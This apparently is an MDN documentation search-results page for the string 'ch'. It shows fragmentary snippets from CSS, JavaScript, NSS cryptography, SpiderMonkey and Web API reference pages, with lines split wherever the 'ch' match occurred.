...dandelion cucumber earthnut pea peanut soko zuc
chini.
... accessibility concerns when you customize scrollbars, consider they have enough contrast and that their hit area is large enough for people who use tou
ch input.
...And 7 more matches
Media queries - CSS: Cascading Style Sheets
media queries let you adapt your site or app depending on the presence or value of various device
characteristics and parameters.
...for example, a media query can shrink the font size on small devices, increase the padding between paragraphs when a page is viewed in portrait mode, or bump up the size of buttons on tou
chscreens.
... media queries in html in html, media queries can be applied to various elements: in the <link> element's media attribute, they define the media to whi
ch a linked resource (typically css) should be applied.
...And 7 more matches
Mozilla CSS extensions - CSS: Cascading Style Sheets
mozilla applications su
ch as firefox support a number of special mozilla extensions to css, including properties, values, pseudo-elements and pseudo-classes, at-rules, and media queries.
... mozilla-only properties and pseudo-classes (avoid using on websites) note: these properties and pseudo-classes will only work in mozilla applications su
ch as firefox, and are not on a standards track.
...flow-clip-box-inline s–z -moz-stack-sizing :-moz-system-metric(images-in-menus) :-moz-system-metric(mac-graphite-theme) :-moz-system-metric(scrollbar-end-backward) :-moz-system-metric(scrollbar-end-forward) :-moz-system-metric(scrollbar-start-backward) :-moz-system-metric(scrollbar-start-forward) :-moz-system-metric(scrollbar-thumb-proportional) :-moz-system-metric(tou
ch-enabled) :-moz-system-metric(windows-default-theme) -moz-user-focus -moz-user-input -moz-user-modify -moz-window-dragging -moz-window-shadow formerly proprietary properties that are now standard note: to maximize the compatibility of your css, you should use the unprefixed standard properties instead of the prefixed ones listed below.
...And 7 more matches
place-self - CSS: Cascading Style Sheets
the align-self and justify-self properties) in a relevant layout system su
ch as grid or flexbox.
...itional alignment */ place-self: center normal; place-self: start auto; place-self: end normal; place-self: self-start auto; place-self: self-end normal; place-self: flex-start auto; place-self: flex-end normal; place-self: left auto; place-self: right normal; /* baseline alignment */ place-self: baseline normal; place-self: first baseline auto; place-self: last baseline normal; place-self: stret
ch auto; /* global values */ place-self: inherit; place-self: initial; place-self: unset; values auto computes to the parent's align-items value.
... normal the effect of this keyword is dependent of the layout mode we are in: in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stret
ch on all other absolutely-positioned boxes.
...And 7 more matches
Intl.Collator() constructor - JavaScript
a string with a bcp 47 language tag, or an array of su
ch strings.
...possible values include: "big5han", "dict", "direct", "ducet", "gb2312", "phonebk", "phonetic", "pinyin", "reformed", "sear
chjl", "stroke", "trad", "unihan".
... the "standard" and "sear
ch" values are ignored; they are replaced by the options property usage (see below).
...And 7 more matches
Intl.DateTimeFormat() constructor - JavaScript
syntax new intl.datetimeformat([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of su
ch strings.
...possible values include: "buddhist", "
chinese", "coptic", "ethiopia", "ethiopic", "gregory", "hebrew", "indian", "islamic", "iso8601", "japanese", "persian", "roc".
...possible values include: "buddhist", "
chinese", " coptic", "ethiopia", "ethiopic", "gregory", " hebrew", "indian", "islamic", "iso8601", " japanese", "persian", "roc".
...And 7 more matches
Object.seal() - JavaScript
values of present properties can still be
changed as long as they are writable.
... syntax object.seal(obj) parameters obj the object whi
ch should be sealed.
...making all properties non-configurable also prevents them from being converted from data properties to accessor properties and vice versa, but it does not prevent the values of data properties from being
changed.
...And 7 more matches
Promise() constructor - JavaScript
the signature of this function is expected to be: function(resolutionfunc, rejectionfunc){ // typically, some asyn
chronous operation.
...the side-effect is that the promiseobj becomes "resolved." typically, it works like this: the operation within executor is asyn
chronous and provides a callback.
... the promiseobj (asyn
chronously) invokes any .then() associated with it.
...And 7 more matches
String.prototype.substring() - JavaScript
syntax str.substring(indexstart[, indexend]) parameters indexstart the index of the first
character to include in the returned substring.
... indexend optional the index of the first
character to exclude from the returned substring.
... description substring() extracts
characters from indexstart up to but not including indexend.
...And 7 more matches
WeakRef - JavaScript
description a weakref object contains a weak reference to an object, whi
ch is called its target or referent.
...if an application or library depends on gc cleaning up a weakref or calling a finalizer [cleanup callback] in a timely, predictable manner, it's likely to be disappointed: the cleanup may happen mu
ch later than expected, or not at all.
... sources of variability include: one object might be garbage-collected mu
ch sooner than another object, even if they become unrea
chable at the same time, e.g., due to generational collection.
...And 7 more matches
encodeURI() - JavaScript
the encodeuri() function encodes a uri by replacing ea
ch instance of certain
characters by one, two, three, or four escape sequences representing the utf-8 encoding of the
character (will only be four escape sequences for
characters composed of two "surrogate"
characters).
... description the encodeuri() function does not encode
characters that have special meaning (reserved
characters) for a uri.
... the following example shows all the parts that a uri "s
cheme" can possibly contain.
...And 7 more matches
encodeURIComponent() - JavaScript
the encodeuricomponent() function encodes a uri by replacing ea
ch instance of certain
characters by one, two, three, or four escape sequences representing the utf-8 encoding of the
character (will only be four escape sequences for
characters composed of two "surrogate"
characters).
... description encodeuricomponent() escapes all
characters except: not escaped: a-z a-z 0-9 - _ .
...~ * ' ( ) encodeuricomponent() differs from encodeuri as follows: var set1 = ";,/?:@&=+$"; // reserved
characters var set2 = "-_.!~*'()"; // unescaped
characters var set3 = "#"; // number sign var set4 = "abc abc 123"; // alphanumeric
characters + space console.log(encodeuri(set1)); // ;,/?:@&=+$ console.log(encodeuri(set2)); // -_.!~*'() console.log(encodeuri(set3)); // # console.log(encodeuri(set4)); // abc%20abc%20123 (the space gets encoded as %20) console.log(encodeuricomponent(set1)); // %3b%2c%2f%3f%3a%40%26%3d%2b%24 console.log(encodeuricomponent(set2)); // -_.!~*'() console.log(encodeuricomponent(set3)); // %23 console.log(encodeuricomponent(set4)); // abc%20abc%20123 (the space gets encoded as %20) note that a urierror will be thrown if one attempts to enco...
...And 7 more matches
Iteration protocols - JavaScript
the iterable protocol the iterable protocol allows javascript objects to define or customize their iteration behavior, su
ch as what values are looped over in a for...of construct.
... some built-in types are built-in iterables with a default iteration behavior, su
ch as array or map, while other types (su
ch as object) are not.
... in order to be iterable, an object must implement the @@iterator method, meaning that the object (or one of the objects up its prototype
chain) must have a property with a @@iterator key whi
ch is available via constant symbol.iterator: property value [symbol.iterator] a zero-argument function that returns an object, conforming to the iterator protocol.
...And 7 more matches
Destructuring assignment - JavaScript
const x = [1, 2, 3, 4, 5]; const [y, z] = x; console.log(y); // 1 console.log(z); // 2 this capability is similar to features present in languages su
ch as perl and python.
... in this example, f() returns the values [1, 2] as its output, whi
ch can be parsed in a single line with destructuring.
... pattern: const [a, ...b] = [1, 2, 3]; console.log(a); // 1 console.log(b); // [2, 3] be aware that a syntaxerror will be thrown if a trailing comma is used on the left-hand side with a rest element: const [a, ...b,] = [1, 2, 3]; // syntaxerror: rest element may not have a trailing comma // always consider using rest operator as the last element unpacking values from a regular expression mat
ch when the regular expression exec() method finds a mat
ch, it returns an array containing first the entire mat
ched portion of the string and then the portions of the string that mat
ched ea
ch parenthesized group in the regular expression.
...And 7 more matches
Operator precedence - JavaScript
operator precedence determines how operators are parsed concerning ea
ch other.
... console.log(3 + 10 * 2); // logs 23 console.log(3 + (10 * 2)); // logs 23 because parentheses here are superfluous console.log((3 + 10) * 2); // logs 26 because the parentheses
change the order left-associativity (left-to-right) means that it is processed as (a op1 b) op2 c, while right-associativity (right-to-left) means it is interpreted as a op1 (b op2 c).
... code output function e
cho(name, num) { console.log("evaluating the " + name + " side"); return num; } // notice the division operator (/) console.log(e
cho("left", 6) / e
cho("right", 2)); evaluating the left side evaluating the right side 3 function e
cho(name, num) { console.log("evaluating the " + name + " side"); return num; } // notice the exponentiation operator (**) c...
...And 7 more matches
for await...of - JavaScript
it invokes a custom iteration hook with statements to be executed for the value of ea
ch distinct property of the object.
... syntax for await (variable of iterable) { statement } variable on ea
ch iteration a value of a different property is assigned to variable.
... async function* streamasynciterable(stream) { const reader = stream.getreader(); try { while (true) { const { done, value } = await reader.read(); if (done) { return; } yield value; } } finally { reader.releaselock(); } } // fet
ches data from url and calculates response size using the async generator.
...And 7 more matches
for...in - JavaScript
syntax for (variable in object) statement variable a different property name is assigned to variable on ea
ch iteration.
...objects created from built–in constructors like array and object have inherited non–enumerable properties from object.prototype and string.prototype, su
ch as string's indexof() method or object's tostring() method.
... the loop will iterate over all enumerable properties of the object itself and those the object inherits from its prototype
chain (properties of nearer prototypes take precedence over those of prototypes further away from the object in its prototype
chain).
...And 7 more matches
import - JavaScript
the static import statement is used to import read only live bindings whi
ch are exported by another module.
... imported modules are in strict mode whether you declare them as su
ch or not.
... the import statement cannot be used in embedded scripts unless su
ch script has a type="module".
...And 7 more matches
throw - JavaScript
execution of the current function will stop (the statements after throw won't be executed), and control will be passed to the first cat
ch block in the call stack.
... if no cat
ch block exists among caller functions, the program will terminate.
...ea
ch of the following throws an exception: throw 'error2'; // generates an exception with a string value throw 42; // generates an exception with the value 42 throw true; // generates an exception with the value true throw new error('required'); // generates an error object with the message of required also note that the throw statement is affected by automatic semicolon insertion (asi) ...
...And 7 more matches
Cryptography functions
the mozilla cross reference (mxr) link for ea
ch function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates whi
ch versions of nss support the function.
... function name/documentation source code nss versions pk11_algtagtome
chanism mxr 3.2 and later pk11_authenticate mxr 3.2 and later pk11_blockdata mxr 3.2 and later pk11_
changepw mxr 3.2 and later pk11_
checkuserpassword mxr 3.2 and later pk11_cipherop mxr 3.2 and later pk11_clonecontext mxr 3.2 and later pk11_configurepkcs11 mxr 3.2 and later pk11_convertsessionprivkeytotokenprivkey mxr 3.6 and later pk11_convertsessionsymkeytotokensymkey mxr 3.6 and later pk11_copytokenprivk...
...And 6 more matches
JSS FAQ
jss frequently asked questions newsgroup: mozilla.dev.te
ch.crypto content: what versions of jdk and jce do you suggest?
... how can i tell whi
ch ssl/tls ciphers jss supports?
...you can find more information in bugzilla bug 102251 ssl session ca
che locking issue with nt fibers how can i tell whi
ch ssl/tls ciphers jss supports?
...And 6 more matches
NSS 3.14.3 release notes
introduction network security services (nss) 3.14.3 is a pat
ch release for nss 3.14.
...this release is a pat
ch release to address cve-2013-1620.
...however, unlike pk11_sign, whi
ch uses a seckeyprivatekey, pk11_signwithsymkey performs the signature using a symmetric key, su
ch as commonly used for generating macs.
...And 6 more matches
NSS 3.22 release notes
introduction the nss team has released network security services (nss) 3.22, whi
ch is a minor release.
... nss 3.22 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_rtm/src/ new in nss 3.22 new functionality rsa-pss signatures are now supported (bug 1215295) new functions pk11_signwithme
chanism() and pk11_signwithme
chanism() are provided to allow rsa keys to be used with pss.
... enforce an external policy on nss from a config file (bug 1009429) you can now add a config= line to pkcs11.txt (assuming you are using sql databases), whi
ch will force nss to restrict the application to certain cryptographic algorithms and protocols.
...And 6 more matches
NSS Sample Code sample2
* note: iv is only needed if cipher blocking
chaining (cbc) mode of encryption * is used * * the recommended approa
ch is to store and transport wrapped (encrypted) * des keys (ivs can be in the clear).
... */ #include "nss.h" #include "pk11pub.h" /* example key & iv */ unsigned
char gkey[] = {0xe8, 0xa7, 0x7c, 0xe2, 0x05, 0x63, 0x6a, 0x31}; unsigned
char giv[] = {0xe4, 0xbb, 0x3b, 0xd3, 0xc3, 0x71, 0x2e, 0x58}; int main(int argc,
char **argv) { ck_me
chanism_type cipherme
ch; pk11slotinfo* slot = null; pk11symkey* symkey = null; secitem* secparam = null; pk11context* enccontext = null; secitem keyitem, ivitem; secstatus rv, rv1, rv2; unsigned
char data[1024], buf1[1024], buf2[1024]; int i, result_len, tmp1_outlen, tmp2_outlen; /* initialize nss * if your application code has already ini...
... * this code uses the simplest of the init functions, whi
ch does not * require a nss database to exist */ rv = nss_nodb_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto out; } /*
choose me
chanism: ckm_des_cbc_pad, ckm_des3_ecb, ckm_des3_cbc.....
...And 6 more matches
JS::Add*Root
syntax bool js::addvalueroot(jscontext *cx, js::heap<js::value> *vp); bool js::addstringroot(jscontext *cx, js::heap<jsstring *> *rp); bool js::addobjectroot(jscontext *cx, js::heap<jsobject *> *rp); bool js::addnamedvalueroot(jscontext *cx, js::heap<js::value> *vp, const
char *name); bool js::addnamedvaluerootrt(jsruntime *rt, js::heap<js::value> *vp, const
char *name); bool js::addnamedstringroot(jscontext *cx, js::heap<jsstring *> *rp, const
char *name); bool js::addnamedobjectroot(jscontext *cx, js::heap<jsobject *> *rp, const
char *name); bool js::addnamedscriptroot(jscontext *cx, js::heap...
...<jsscript *> *rp, const
char *name); name type description cx jscontext * the context in whi
ch to add the new root.
... rt jsruntime * the runtime in whi
ch to add the new root.
...And 6 more matches
JSPrincipals
codebase
char * pointer to the codebase for the principal.
...ea
ch time an object is referenced, refcount must be increased by one.
... ea
ch time an object is dereferenced, refcount must be decremented by one.
...And 6 more matches
JS_DefineConstDoubles
syntax bool js_defineconstdoubles(jscontext *cx, js::handleobject obj, const jsconstdoublespec *cds); bool js_defineconstintegers(jscontext *cx, js::handleobject obj, const jsconstintegerspec *cis); // added in spidermonkey 38 name type description cx jscontext * the context in whi
ch to define the new properties.
... obj jsobject * object for whi
ch to create new properties.
... description js_defineconstdoubles creates one or more properties for a specified object, obj, where ea
ch property consists of a double value.
...And 6 more matches
JS_DefineFunctions
name type description cx jscontext * the context in whi
ch to define functions.
... obj js::handle<jsobject*> the object on whi
ch functions are to be defined.
...ea
ch element of the array defines an individual function.
...And 6 more matches
JS_DumpNamedRoots
syntax void js_dumpnamedroots(jsruntime *rt, void (*dump)(const
char *name, void *rp, void *data), void *data); name type description rt jsruntime * pointer to a jsruntime from whi
ch to dump named roots.
... dump void (*)(const
char *, void *, void *) pointer to function that actually dumps the named roots.
... data void * a pointer that is passed to dump ea
ch time it is called.
...And 6 more matches
JS_ExecuteRegExp
syntax bool js_executeregexp(jscontext *cx, js::handleobject obj, js::handleobject reobj,
char16_t *
chars, size_t length, size_t *indexp, bool test, js::mutablehandlevalue rval); bool js_executeregexpnostatics(jscontext *cx, js::handleobject reobj,
char16_t *
chars, size_t length, size_t *indexp, bool test, js::mutablehandlevalue rval); name type description cx jscontext * the context.
...
chars const
char16_t * a pointer to the string contains a input string.
... length size_t the length of bytes or
chars, in
characters.
...And 6 more matches
JS_GetProperty
syntax bool js_getproperty(jscontext *cx, js::handleobject obj, const
char *name, js::mutablehandlevalue vp); bool js_getucproperty(jscontext *cx, js::handleobject obj, const
char16_t *name, size_t namelen, js::mutablehandlevalue vp); bool js_getpropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandlevalue vp); // added in spidermonkey 1.8.1 name type description cx jscontext * a context.
... obj js::handleobject object to sear
ch on for the property.
... name or id const
char * or const
char16_t * or js::handleid name of the property to look up.
...And 6 more matches
JS_NewDependentString
create a new javascript string containing a range of
characters from an existing string.
... syntax jsstring * js_newdependentstring(jscontext *cx, js::handlestring str, size_t start, size_t length); name type description cx jscontext * the context in whi
ch to create the new string.
... str js::handlestring the string containing the
characters for the new string.
...And 6 more matches
JS_NewStringCopyN
syntax jsstring * js_newstringcopyn(jscontext *cx, const
char *s, size_t n); jsstring * js_newucstringcopyn(jscontext *cx, const
char16_t *s, size_t n); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... s const
char* or const
char16_t * pointer to the array of
characters containing the text for the js string to create.
... n size_t number of
characters to copy from s into the new string.
...And 6 more matches
JS_SetGCCallback
rt jsruntime * the jsruntime for whi
ch to set the gc callback.
... callback syntax typedef enum jsgcstatus { jsgc_begin, jsgc_end, jsgc_mark_end, // obsolete since jsapi 13 jsgc_finalize_end // obsolete since jsapi 13 } jsgcstatus; typedef void (* jsgccallback)(jsruntime *rt, jsgcstatus status, void *data); name type description cx jscontext * the context in whi
ch garbage collection is happening.
... description js_setgccallback sets a callback function whi
ch the garbage collector calls at several points during garbage collection.
...And 6 more matches
FileError - Web APIs
in the file system api, a fileerror represents error conditions that you might encounter while accessing the file system using the asyn
chronous api.
...in fact, many of the powerful storage apis (su
ch as file system, blobbuilder, and filereader) throw errors if you run the app locally from file://.
... when you're just testing your app, and you don't want to set up a web server, you can bypass the security restriction on
chrome.
...And 6 more matches
FileSystemEntry.getMetadata() - Web APIs
} the filesystementry interface's method getmetadata() obtains a metadata object with information about the file system entry, su
ch as its modification date and time and its size.
... syntax filesystementry.getmetadata(successcallback[, errorcallback]); parameters successcallback a function whi
ch is called when the copy operation is succesfully completed.
... errorcallback optional an optional callback whi
ch is executed if an error occurs while looking up the metadata.
...And 6 more matches
FileSystemEntry.getParent() - Web APIs
syntax filesystementry.getparent(successcallback[, errorcallback]); parameters successcallback a function whi
ch is called when the parent directory entry has been retrieved.
...the parent of the root directory is considered to be the root directory, itself, so be sure to wat
ch for that.
... errorcallback optional an optional callback whi
ch is executed if an error occurs.
...And 6 more matches
FileSystemFileEntry - Web APIs
it offers properties describing the file's attributes, as well as the file() method, whi
ch creates a file object that can be used to read the file.
... methods file() creates a new file object whi
ch can be used to read the file.
... obsolete methods createwriter() creates a new filewriter object whi
ch allows writing to the file represented by the file system entry.
...And 6 more matches
FileSystemFlags.create - Web APIs
syntax filesystemflags.create = booleanvalue values the table below describes the result of ea
ch possible combination of these flags depending on whether or not the target file or directory path already exists.
... option values file/directory condition result create exclusive false n/a[1] path exists and mat
ches the desired type (depending on whether the function called is getfile() or getdirectory() the successcallback is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called.
... false n/a[1] path exists but doesn't mat
ch the desired type the errorcallback is called with an appropriate error code (if the callback was provided).
...And 6 more matches
FileSystemFlags.exclusive - Web APIs
syntax filesystemflags.exclusive = booleanvalue values the table below describes the result of ea
ch possible combination of these flags depending on whether or not the target file or directory path already exists.
... option values file/directory condition result create exclusive false n/a[1] path exists and mat
ches the desired type (depending on whether the function called is getfile() or getdirectory() the successcallback is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called.
... false n/a[1] path exists but doesn't mat
ch the desired type the errorcallback is called with an appropriate error code (if the callback was provided).
...And 6 more matches
HTMLButtonElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbuttonelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle...
...And 6 more matches
HTMLImageElement.complete - Web APIs
the read-only htmlimageelement interface's complete attribute is a boolean value whi
ch indicates whether or not the image has completely loaded.
... syntax let doneloading = htmlimageelement.complete; value a boolean value whi
ch is true if the image has completely loaded; otherwise, the value is false.
... the image resource has been fully fet
ched and has been queued for rendering/compositing.
...And 6 more matches
HTMLImageElement.currentSrc - Web APIs
the read-only htmlimageelement property currentsrc indicates the url of the image whi
ch is currently presented in the <img> element it represents.
...currentsrc lets you determine whi
ch image from the set of provided images was selected by the browser.
... srcset="/files/16864/clock-demo-200px.png 200w, /files/16797/clock-demo-400px.png 400w" sizes="(max-width: 400px) 50%, 90%"> javascript var clockimage = document.queryselector("img"); let p = document.createelement("p"); if (!clockimage.currentsrc.endswith("200px.png")) { p.innertext = "using the 200px image."; } else { p.innertext = "using the 400px image!"; } document.body.append
child(p); result specifications specification status comment html living standardthe definition of 'htmlimageelement.currentsrc' in that specification.
...And 6 more matches
HTMLInputElement.setSelectionRange() - Web APIs
optionally, in newer browser versions, you can specify the direction in whi
ch selection should be considered to have occurred.
... note that accordingly to the whatwg forms spec selectionstart, selectionend properties and setselectionrange method apply only to inputs of types text, sear
ch, url, tel and password.
...
chrome, starting from version 33, throws an exception while accessing those properties and method on the rest of input types.
...And 6 more matches
HTMLMediaElement.textTracks - Web APIs
instead, they're sent to the track list object of the htmlmediaelement that corresponds to the type of track that was added to the element the returned list is live; that is, as tracks are added to and removed from the media element, the list's contents
change dynamically.
... once you have a reference to the list, you can monitor it for
changes to detect when new text tracks are added or existing ones removed.
... see event handlers in texttracklist to learn more about wat
ching for
changes to a media element's track list.
...And 6 more matches
HTMLVideoElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">ht...
...And 6 more matches
Dragging and Dropping Multiple Items - Web APIs
caution: all of the methods and properties with a moz prefix (su
ch as mozsetdataat() are gecko specific interfaces.
...in this case, add the appropriate formats for ea
ch item.
... although not required, you should always add the same formats for ea
ch item.
...And 6 more matches
IDBDatabase.transaction() - Web APIs
the transaction method of the idbdatabase interface immediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, whi
ch you can use to access your object store.
...transactions are opened in one of three modes: readonly, readwrite and readwriteflush (non-standard, firefox-only.) version
change mode can't be specified here.
... if you need to open the object store in readwrite mode to
change data, you would use the following: var transaction = db.transaction('my-store-name', "readwrite"); as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702), whi
ch is the same behaviour as other indexeddb-supporting browsers.
...And 6 more matches
IDBIndex.name - Web APIs
the name property of the idbindex interface contains a string whi
ch names the index.
... exceptions there are a several exceptions whi
ch can occur when you attempt to
change an index's name.
...you can only rename indexes during upgrade transactions; that is, when the mode is "version
change".
...And 6 more matches
RTCPeerConnection.getStats() - Web APIs
the rtcpeerconnection method getstats() returns a promise whi
ch resolves with data providing statistics about either the overall connection or about the specified mediastreamtrack.
... syntax promise = rtcpeerconnection.getstats(selector) parameters selector optional a mediastreamtrack for whi
ch to gather statistics.
... return value a promise whi
ch resolves with an rtcstatsreport object providing connection statistics.
...And 6 more matches
RTCRtpSendParameters.encodings - Web APIs
syntax sendparameters.encodings = encodingparameterlist; encodingparameterlist = sendparameters.encodings; value an array of objects conforming to the rtcrtpencodingparameters dictionary, ea
ch of whi
ch contains properties whi
ch provide settings and parameters that describe and configure a single codec that could be used to encode the track.
... ea
ch object's properties are: active if true, the described encoding is currently actively being used.
... codecpayloadtype when describing a codec for an rtcrtpsender, codecpayloadtype is a single 8-bit byte (or octet) specifying the codec to use for sending the stream; the value mat
ches one from the owning rtcrtpparameters object's codecs parameter.
...And 6 more matches
RTCStatsIceCandidatePairState - Web APIs
the rtcstatsicecandidatepairstate enumerated type represents the set of string values whi
ch are possible for the rtcicecandidatepairstats object's state property.
... this represents the state of this candidate pair within the ice
check list for the rtcpeerconnection.
... see ice
check lists in rtcicecandidatepairstats.state for further information about how ice
check lsits work.
...And 6 more matches
ReadableStream.ReadableStream() - Web APIs
if this process is to be done asyn
chronously, it can return a promise to signal success or failure.
... pull(controller) optional this method, also defined by the developer, will be called repeatedly when the stream's internal queue of
chunks is not full, up until it rea
ches its high water mark.
...this can be used by the developer to control the stream as more
chunks are fet
ched.
...And 6 more matches
SVGTextPathElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 6 more matches
SVGTransform - Web APIs
an svgtransform object can be designated as read only, whi
ch means that attempts to modify the object will result in an exception being thrown.
...it is invalid to attempt to define a new value of this type or to attempt to swit
ch an existing value to this type.
...the matrix object is live, meaning that any
changes made to the svgtransform object are immediately reflected in the matrix object and vice versa.
...And 6 more matches
ScreenOrientation - Web APIs
event handlers screenorientation.on
change the eventhandler called whenever the screen
changes orientation.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
